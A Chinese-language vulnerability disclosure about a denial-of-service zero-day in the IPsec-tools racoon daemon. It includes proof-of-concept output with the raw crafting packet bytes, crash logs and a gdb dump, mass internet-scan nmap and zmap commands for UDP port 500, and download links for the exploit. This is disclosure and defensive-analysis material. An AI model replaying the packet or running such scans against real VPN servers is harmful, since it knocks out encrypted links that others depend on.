IPsec-tools近日曝出拒绝服务0day漏洞,并且互联网上已经出现利用程序。你可能质疑该漏洞甚至未达到中等漏洞的评级,但请记住IPsec是至关重要的基础设施,并且这种攻击只需要两个小的UDP数据包。如果有打开日志记录或者用户经常断开或重新连接那么就很容易被发现,它可能会创建Intrusion Detection/Prevention (IDP)签名,更多的是,你可能需要运行一个蜜罐来进行检测。
如果你有使用IPsec-tools,明智的做法就是尽快替换它。
什么是IPsec
IPsec是一款用于关键基础设施的软件。它改进IP栈,这样IP层以下的所有协议都可以进行加密(TCP, UDP等等)。其通常被描述为VPN,同时也是VPN的一部分,但不要搞混淆IPsec到底是做什么的。
IPsec试图提供的特性:
加密(可选) 身份验证(可选) 保密性 完整性 可用性?
Demo:附在文末
用法:
python3 repro_racoon_dos129.py Warning: Unable to bind to port 500. Might not work. [Errno 13] Permission denied Umm, okay.129 ('\x81\xcf{r\x8e\xb6a\xdd9\xf1\x87cP\xb1\x05\xc7\x01\x10\x02\x00\x00\x00\x00\x00\x00\x00\x00\x98\r\x00\x00<\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x000\x01\x01\x00\x01\x00\x00\x00(\x01\x01\x00\x00\x80\x0b\x00\x01\x00\x0c\x00\x04\x00\x01Q\x80\x80\x01\x00\x07\x80\x0e\x01\x00\x80\x03\x00\x03\x80\x02\x00\x02\x80\x04\x00\x05\r\x00\x00\x14J\x13\x1c\x81\x07\x03XE\\W(\xf2\x0e\x95E/\r\x00\x00\x14\xaf\xca\xd7\x13h\xa1\xf1\xc9k\x86\x96\xfcwW\x01\x00\x00\x00\x00\x18@H\xb7\xd5n\xbc\xe8\x85%\xe7\xde\x7f\x00\xd6\xc2\xd3\x80\x00\x00\x00', ('192.168.88.247', 500))129 sending second packet Umm, okay.
服务器崩溃:
sudo racoon -F -v -f server_racoon.conf >server_dos5m.txt 2>&1 & jvoss@ipsecu:~$ dmesg |tail [ 584.440533] AVX or AES-NI instructions are not detected. [ 584.442253] AVX or AES-NI instructions are not detected. [ 584.490468] AVX instructions are not detected. [13683.867215] init: upstart-udev-bridge main process (361) terminated with status 1 [13683.867223] init: upstart-udev-bridge main process ended, respawning [13683.867307] init: upstart-file-bridge main process (452) terminated with status 1 [13683.867313] init: upstart-file-bridge main process ended, respawning [13683.867386] init: upstart-socket-bridge main process (616) terminated with status 1 [13683.867392] init: upstart-socket-bridge main process ended, respawning [19912.460170] racoon[3701]: segfault at 100 ip 00007fe0eba84ce7 sp 00007ffff51db730 error 4 in racoon[7fe0eba5e000+93000] 2015-04-27 15:22:14: INFO: received Vendor ID: draft-ietf-ipsec-nat-t-ike-00 2015-04-27 15:22:14: INFO: received broken Microsoft ID: FRAGMENTATION 2015-04-27 15:22:14: INFO: received Vendor ID: DPD 2015-04-27 15:22:14: [169.254.44.43] INFO: Selected NAT-T version: RFC 3947 2015-04-27 15:22:14: [169.254.44.43] ERROR: ignore the packet, received unexpecting payload type 128. 2015-04-27 15:22:14: INFO: respond new phase 1 negotiation: 169.254.88.251[500]<=>169.254.44.43[42258] 2015-04-27 15:22:14: INFO: begin Identity Protection mode. 2015-04-27 15:22:14: INFO: received Vendor ID: RFC 3947 2015-04-27 15:22:14: INFO: received Vendor ID: draft-ietf-ipsec-nat-t-ike-02 2015-04-27 15:22:14: INFO: received Vendor ID: draft-ietf-ipsec-nat-t-ike-02 2015-04-27 15:22:14: INFO: received Vendor ID: draft-ietf-ipsec-nat-t-ike-00 2015-04-27 15:22:14: INFO: received broken Microsoft ID: FRAGMENTATION 2015-04-27 15:22:14: INFO: received Vendor ID: DPD 2015-04-27 15:22:14: [169.254.44.43] INFO: Selected NAT-T version: RFC 3947 Program received signal SIGSEGV, Segmentation fault. 0x000055555557ace7 in ?? () (gdb) bt #0 0x000055555557ace7 in ?? () #1 0x000055555557b775 in ?? () #2 0x000055555556c1a1 in ?? () #3 0x0000555555563fd1 in ?? () #4 0x00005555555658ec in ?? () #5 0x000055555555fc9d in ?? () #6 0x000055555555f273 in ?? () #7 0x00007ffff6953ec5 in __libc_start_main (main=0x55555555f010, argc=5, argv=0x7fffffffe738, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe728) at libc-start.c:287 #8 0x000055555555f3ec in ?? () (gdb) x/15i $rip - 12 0x55555557acdb: mov %eax,0x1c8(%rsp) 0x55555557ace2: mov 0x28(%r12),%rax => 0x55555557ace7: mov 0x100(%rax),%rax 0x55555557acee: mov 0x30(%rax),%rax 0x55555557acf2: test %rax,%rax 0x55555557acf5: je 0x55555557af00 0x55555557acfb: mov (%rax),%rdx 0x55555557acfe: lea 0x20(%rsp),%r13 0x55555557ad03: mov 0x8(%rax),%rax 0x55555557ad07: lea 0x1c(%rsp),%rbx 0x55555557ad0c: lea 0x30(%rsp),%rsi 0x55555557ad11: mov %r13,%rcx 0x55555557ad14: mov %rdx,0x30(%rsp) 0x55555557ad19: mov %rbx,%rdi 0x55555557ad1c: xor %edx,%edx (gdb) i r rax 0x0 0 rbx 0x0 0 rcx 0x5555558dbe40 93824995933760 rdx 0x5555558dbe40 93824995933760 rsi 0x0 0 rdi 0x5555558dbdc0 93824995933632 rbp 0x5555558dbdc0 0x5555558dbdc0 rsp 0x7fffffffd180 0x7fffffffd180 r8 0x5555558dbdc0 93824995933632 r9 0x7ffff6cf07b8 140737334151096 r10 0xbdb00 776960 r11 0x5555558da301 93824995926785 r12 0x5555558da300 93824995926784 r13 0x555555822460 93824995173472 r14 0x5555558da420 93824995927072 r15 0x7fffffffd260 140737488343648 rip 0x55555557ace7 0x55555557ace7 eflags 0x10206 [ PF IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0
#p#
不使用IPsec
IPsec有许多易受到攻击的操作模式,你可以从他的配置中看出来。
不要使用预共享密钥
不使用防火墙阻止攻击者桥接你的网络
不要让个人或者没有IT主管的公司桥接你的网络
不要使用IPsec代替TLS
不要使用IPsec防止0-day
如果你没有一个能干的IT人,不要运行它
不要购买一个没有更新的IPsec设备软件
....
如果NSA想要获取你的所有数据,那么他们完全有这个能力。
关于漏洞
漏洞位置:
if (iph1->rmconf->proposal->gssid != NULL) {
Fuzzer(漏洞检查工具)好像错过了什么,黑客们好像也错过了什么。如果不是我幸运以及坚持,可能我也会错过些什么东西。
NetBSD, FreeBSD, Android以及其他许多产品都在使用IPsec tools,我认为这就有必要去寻找发掘漏洞。我检测Makefile文件,在GSSAPI中Android并没有进行编译。
IPsec作者没有回应我们的多次请求,我们也没有联系FreeBSD或NetBSD,因为我们没有花足够的时间来检查kame.net。说实话看着NetBSD就蛋疼,我不会花过多的时间来安装FreeBSD或NetBSD。我的同事在SourceForge已经发布这个漏洞,而我要做的事情就是充分的披露它。
修复一个漏洞需要多久
如果没有类似的缺陷,修复一个漏洞大概需要1个小时左右,通知使用者却需要20小时左右。
我不愿意做这样的事情,这个问题自然有CVE解决。
实在无力吐槽IPsec-tools,如果你是它的死忠粉请不要来黑我。不介意的话我可以再从其中找个漏洞出来,再次公开!
意义何在
当IKE daemon崩溃,可能会导致重新启动。一旦重新启动,就给了攻击者更多尝试启动IKE daemon的机会,结果:未知。如果不重新启动,密钥不会改变。当重复4次就会丧失其完整性和机密性,重启又变得很容易了,结果:潜在妥协。
如果系统判断这两个设备不应该再使用IPsec,系统会恢复默认状态,结果:可能完全妥协。
当加密完全被破环,加密层以下就很容易被攻击者攻破。
IPsec被设计为运行于公共网络,中间人攻击也并非只是理论。中间人攻击经常用在WIFI,公司网络(平面拓扑结构),服务器(DMZ/segmented),骨干路由器(ISP)
我并没有在这里危言耸听。利用该漏洞,单独一个人来攻击公司网络的可能性十分低(一个人至少需要4个小时的时间来尝试)。NSA攻破伊朗air-gapped网络并摧毁其离心机,如果他想获取你所拥有的东西,使用该漏洞简直轻而易举!
关于IPsec设计
IPsec协议过于复杂,缺少x.509的灵活性,TLVs的设计是为了减少缓冲区溢出,开发者混淆不清导致出现许多错误。IKE daemon经常被设置为root权限,任何的IP数据包都可以浏览IPsec,实现IKE客户端只用了8个小时,实现IKE服务端只用了8个小时。我们为什么需要灵活性?IPsec的作者应该为他自己感到羞愧,他们的思维依旧还活在90年代 。我们为什么还没有取代IPsec?Bruce Schneier曾公开谴责IPsec,对于IPsec这已经不是什么新鲜事了,但对于IPsec的使用者来说这绝对不是一件好事情。
谁在使用IPsec-tools
IPsec-tools有一个唯一的响应签名,你可以写一个Nmap脚本去检测。以下测试没有在FreeBSD和NetBSD上进行进行。
你不需要运行
nmap -sU -Pn -n -vvv -iR 100000 -p 500 -oA nmap_ike1
或者
sudo nmap -sU -sV -O -Pn -n -vvv -iR 100000 -p 500 -oA nmap_ike2
再或者
sudo zmap ike
为了寻找一长串IPsec-tools使用者列表,你不需要进行网络调查,nmap并不能轻松的使用这个exploit寻找漏洞服务器。
IPsec扫描器
目前有很多的IPsec扫描器在扫描使用IPv4协议的IKE服务器。你认为他们这样做的目的是什么?一些人仅仅只是进行研究,一些人就是纯粹的脚本小子,一些人就是为了进行IP地址欺骗攻击。据我的推测手握0day的他们正在利用这个漏洞攻击他们所遇到的所有VPN,从他们发送的数据包就可以看得出来。
数量 IP地址
915 92.156.83.10
413 88.182.227.2
379 222.64.125.46
366 202.153.47.42
156 92.139.69.91
146 195.87.244.8
134 2.12.52.14
132 5.107.86.214
115 93.100.141.178
113 212.57.6.226
102 212.21.46.34
98 41.214.10.33
92 114.35.125.229
90 41.136.2.241
90 41.136.18.209
85 79.165.141.243
79 67.68.122.156
79 46.14.13.125
64 124.148.219.105
60 190.199.39.243
59 203.59.158.2
57 95.29.206.187
56 185.56.161.133
56 154.70.115.98
46 41.136.47.233
45 86.235.41.154
43 212.87.172.4
42 89.157.119.185
41 50.189.102.250
幻灯片地址
[https://www.altsci.com/ipsec/ipsecs2a.html]
IPsec-tools 0-day Exploit
[链接:http://pan.baidu.com/s/1o6C9mOU 密码:tfn4]
sig
[链接:http://pan.baidu.com/s/1dDo5bo9 密码:4iki]